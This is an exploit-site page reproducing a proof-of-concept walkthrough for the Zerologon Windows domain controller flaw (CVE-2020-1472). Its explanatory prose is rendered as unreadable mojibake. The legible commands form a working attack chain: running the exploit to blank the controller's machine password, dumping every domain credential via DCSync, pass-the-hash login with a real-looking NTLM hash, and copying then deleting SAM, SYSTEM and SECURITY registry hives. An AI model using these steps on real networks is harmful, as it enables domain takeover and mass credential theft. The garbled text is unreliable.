Sploitus

Exploit for cve-2020-1472 CVE-2020-1472

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN185 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MSTXQ17-CVE-2020-1472
# CVE-2020-1472 POC

mac рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ proxychains рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Windows рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рджреЛрд╣рд░рд╛рдирд╛ред

## Environment

DC (рдореБрдЦреНрдп рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ):

![image-20200916113011251](https://assets.kitploit.com/production/public/readmes/29621/a54fc2ee45659d8342aaef2088162308f2457bf7faefccc520dc2bf62eec3538.png)

Domain User (рдбреЛрдореЗрди рд╕рджрд╕реНрдп рд╣реЛрд╕реНрдЯ):

gost рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдзреЗ SOCKS5 рдлреЙрд░рд╡рд░реНрдб рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрдЯ рдХрд░рдирд╛ред

![image-20200916113305548](https://assets.kitploit.com/production/public/readmes/29621/ebd031b4a1eb18b235f5ba5a51b789d2e6ed9e34533bb2416b95b57d6e4a5493.png)

Attack Hacker (рд╣рдорд▓рд╛рд╡рд░ рдорд╢реАрди):

proxychains4 рд╕реЗрдЯ рдХрд░реЗрдВ

root@kitploit:~
    
    
    vim  /Users/xq17/.proxychains/proxychains.conf
    

ProxyList рд╕реВрдЪреА рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ

> [ProxyList] socks5 10.211.55.42 8099

Attack Tools (рд╣рдорд▓реЗ рдХреЗ рдЙрдкрдХрд░рдг):

root@kitploit:~
    
    
    1.git clone https://github.com/mstxq17/cve-2020-1472.git
    2.pip3 install -r requirements.txt
    

рдпрджрд┐ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдкрд░ рдпрд╣ рддреНрд░реБрдЯрд┐ рдЖрддреА рд╣реИ:

![image-20200916114449062](https://assets.kitploit.com/production/public/readmes/29621/beae6680906d02b25ec5216435ae0fdaed930cd0e4e088cfa5b85aa9471a35f2.png)

рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ impacket рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рд╣реИред impacket рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрдирдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдФрд░ GitHub рдкрд░ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВред

root@kitploit:~
    
    
    git clone https://github.com/SecureAuthCorp/impacket.git
    cd impacket && pip3 install .
    

рд╕рдорд╕реНрдпрд╛ рд╣рд▓ рд╣реЛ рдЬрд╛рдПрдЧреАред

C# рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдХрд░рдг: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

## Exploit steps

  1. рдкрд╣рд▓реЗ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдорд╢реАрди рдЦрд╛рддреЗ рдХрд╛ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ, рддрд╛рдХрд┐ рдмрд╛рдж рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд╕рдХреЗред

root@kitploit:~
         
         proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
         
         рдпрд╛ рдЙрджреНрдзрд░рдг рд╣рдЯрд╛рдПрдВ, рд▓реЗрдХрд┐рди рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Linux рдореЗрдВ $ рдПрдХ рдЪрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдПрд╕реНрдХреЗрдк рдХрд░рдирд╛ рдпрд╛рдж рд░рдЦреЗрдВред
         
         proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$
         

![image-20200916115110187](https://assets.kitploit.com/production/public/readmes/29621/e86442dcd7e875aad6660aefe760cefefd6f4548d4604e6d1387621548ce0326.png)

  2. `zerologon_tester.py` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ

`python3 zerologon_tester.py DC 10.211.55.38`

![image-20200916115408007](https://assets.kitploit.com/production/public/readmes/29621/e37c979f025af620f606a72f081756056e4c5a33327228caf65a8a5efb6c6648.png)

Success рд╡рд╛рдкрд╕ рдЖрддрд╛ рд╣реИ, рдЬреЛ рднреЗрджреНрдпрддрд╛ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред

  3. `cve-2020-1472-exploit.py` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдорд╢реАрди рдЦрд╛рддрд╛ рд░реАрд╕реЗрдЯ рдХрд░реЗрдВ




`python3 cve-2020-1472-exploit.py dc$ 10.211.55.38`

![image-20200916115639951](https://assets.kitploit.com/production/public/readmes/29621/9f5c525a301d72197141cf38e6464a1ed2386ce162f01387b2e3763e7826ebfe.png)

  4. рдлрд┐рд░ рд╕реЗ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдорд╢реАрди рдкрд╛рд╕рд╡рд░реНрдб рдЦрд╛рд▓реА рд╣реЛ рдЧрдпрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред



![image-20200916115757385](https://assets.kitploit.com/production/public/readmes/29621/c56c1ec3b02838772103aeeeaaa1cd8d59b1520c872e8f23cdf55c85be7eb020.png)

  5. рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдХреЗ рдорд╢реАрди рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ DCSync рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЛрдореЗрди рдореЗрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ

рд╕рд┐рджреНрдзрд╛рдВрдд:

> ![image-20200916120658369](https://assets.kitploit.com/production/public/readmes/29621/fa4e6dc8a6ab713f2a9583d971f5edfa93c5b927411108e1ac84b7209ceb7e4c.png)
> 
> DRS (рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд░реЗрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рд░реНрд╡рд┐рд╕) рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ IDL_DRSGetNCChanges рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЙрдкреА рдХрд░рдирд╛ред

` proxychains4 secretsdump.py test.local/dc\some-email@example.com -no-pass`

![image-20200916120926625](https://assets.kitploit.com/production/public/readmes/29621/4b3b183684069f547f99d0f481fc10b291e7600b4b269a944d06f7dc7d370a75.png)

  6. DC$ рдорд╢реАрди рдЦрд╛рддреЗ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ рдЗрд╕рдХреЗ рджреНрд╡рд╛рд░рд╛

`proxychains4 secretsdump.py test.local/dc\some-email@example.com -no-pass -just-dc | grep 'Administrator'`

рдбреЛрдореЗрди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХрд╛ рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

![image-20200916143032315](https://assets.kitploit.com/production/public/readmes/29621/ee5100c98a02ac447ce080defdbee7106c3aa57f3d64e1911046e10eb8f8fa0f.png)

![image-20200916143104828](https://assets.kitploit.com/production/public/readmes/29621/d2952d0cd791b42289a6ae4110a72b65cf2df95d02072b9d012481838e44da26.png)

рдлрд┐рд░ wmic рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣реИрд╢ рдкрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░ (рдбреЛрдореЗрди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ) рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

root@kitploit:~
         
         wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/some-email@example.com
         

рдлрд┐рд░ рдХреНрд░рдорд╢рдГ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ, рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рд╕реЗ SAM рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ MAC рд╕рд╛рдЗрдб рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ

root@kitploit:~
         
         - reg save HKLM\SYSTEM system.save
         - reg save HKLM\SAM sam.save
         - reg save HKLM\SECURITY security.save
         - get system.save
         - get sam.save
         - get security.save
         - del /f system.save
         - del /f sam.save
         - del /f security.save
         




## Question

**рдПрдХрд▓ рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ:**

рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдХреЛ рдкреБрдирд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдХреЛрдИ рдЕрд╕рд╛рдорд╛рдиреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдбреЛрдореЗрди рд╕рджрд╕реНрдп рдорд╢реАрдиреЛрдВ рдХреЗ DNS рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд░рддреАред

![image-20200916182258498](https://assets.kitploit.com/production/public/readmes/29621/e620fcdefa4f8aceb63a56c7267803278adadb64b405e6f2cab150475db4cca8.png)

рдкрд╛рд╕рд╡рд░реНрдб рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж:

![image-20200916182446890](https://assets.kitploit.com/production/public/readmes/29621/06a3766840c9e10c7d13036fc278ac6351960eeb28c584eaaf2838a46e193347.png)

**рджреЛрд╣рд░реЗ рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг, рдПрдХ рдореБрдЦреНрдп рдбреЛрдореЗрди DC, рдПрдХ рдмреИрдХрдЕрдк рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ DC01:**

![image-20200916205319345](https://assets.kitploit.com/production/public/readmes/29621/3c2ad4c34ce8be067c429a7a38bec84230d1dbd4cbcbac5286dce98b69cabc67.png)

рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рджреЛрдиреЛрдВ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдХреЗ рдорд╢реАрди рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░, рд╡реЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкрд╛рдП рдЧрдПред

![image-20200916205520212](https://assets.kitploit.com/production/public/readmes/29621/791c06258fcedaa2b135652b46500dcb738eb406e350ca9586ed82ef10cc1d8d.png)

рд╕рд╣рд╛рдпрдХ рдбреЛрдореЗрди рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рд╕реЗ рдореБрдЦреНрдп рдбреЛрдореЗрди рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рд╣реБрдЖ, рдФрд░ ntdis.dist рдбреЗрдЯрд╛ рднреА рд╕рд┐рдВрдХ рд╣реЛ рдЧрдпрд╛ред

![image-20200916212015947](https://assets.kitploit.com/production/public/readmes/29621/ea460e944a1f82f0d9911f7577ecb863c6f42e19402be9f9782ad1337d4f29ee.png)

рдореБрдЦреНрдп рдбреЛрдореЗрди рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛, `net time /domain` рдФрд░ рдПрдХрд▓ рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рднреА рддреНрд░реБрдЯрд┐ рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдареАрдХ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рддреБрд░рдВрдд рд╡рд╛рдкрд╕ рдЖ рдЧрдпрд╛ред

рдирдпрд╛ рдЦрд╛рддрд╛ рдмрдирд╛рдиреЗ рдкрд░ рд╕реАрдзреЗ рд╕рд┐рдВрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ

![image-20200916213953415](https://assets.kitploit.com/production/public/readmes/29621/4042ca4cd16fd1cfdf0a3a4231d9ae8ca7b46007a0b506fa94359e7b85621bbb.png)

рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдкрд░ рднреА рд╕рд┐рдВрдХ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рд╣реЛрддрд╛ред

**рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ, рдореБрдЭреЗ рдЕрдм рддрдХ рдбреЛрдореЗрди рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рдорд┐рд▓реА рд╣реИред рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ рдЖрдк рдореЗрд░реЗ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рдмрд╛рд░ рдкрд╛рд▓рди рдХрд░реЗрдВред рдпрджрд┐ рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рд╣реИ, рддреЛ рдХреГрдкрдпрд╛ рдореБрдЭрд╕реЗ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдВрдХреЛрдЪ рди рдХрд░реЗрдВ!**

## Reference

рдиреЗрдЯрд▓реЛрдЧреЙрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рднреЗрджреНрдпрддрд╛ (CVE-2020-1472) рд╕рд┐рджреНрдзрд╛рдВрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рд╕рддреНрдпрд╛рдкрди

рдЪреАрдиреА рдкреАрдбреАрдПрдл рд╕рдВрд╕реНрдХрд░рдг

NAXG\CVE-2020-1472

рджреЛрд╣рд░реЗ рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕реНрдерд╛рдкрдирд╛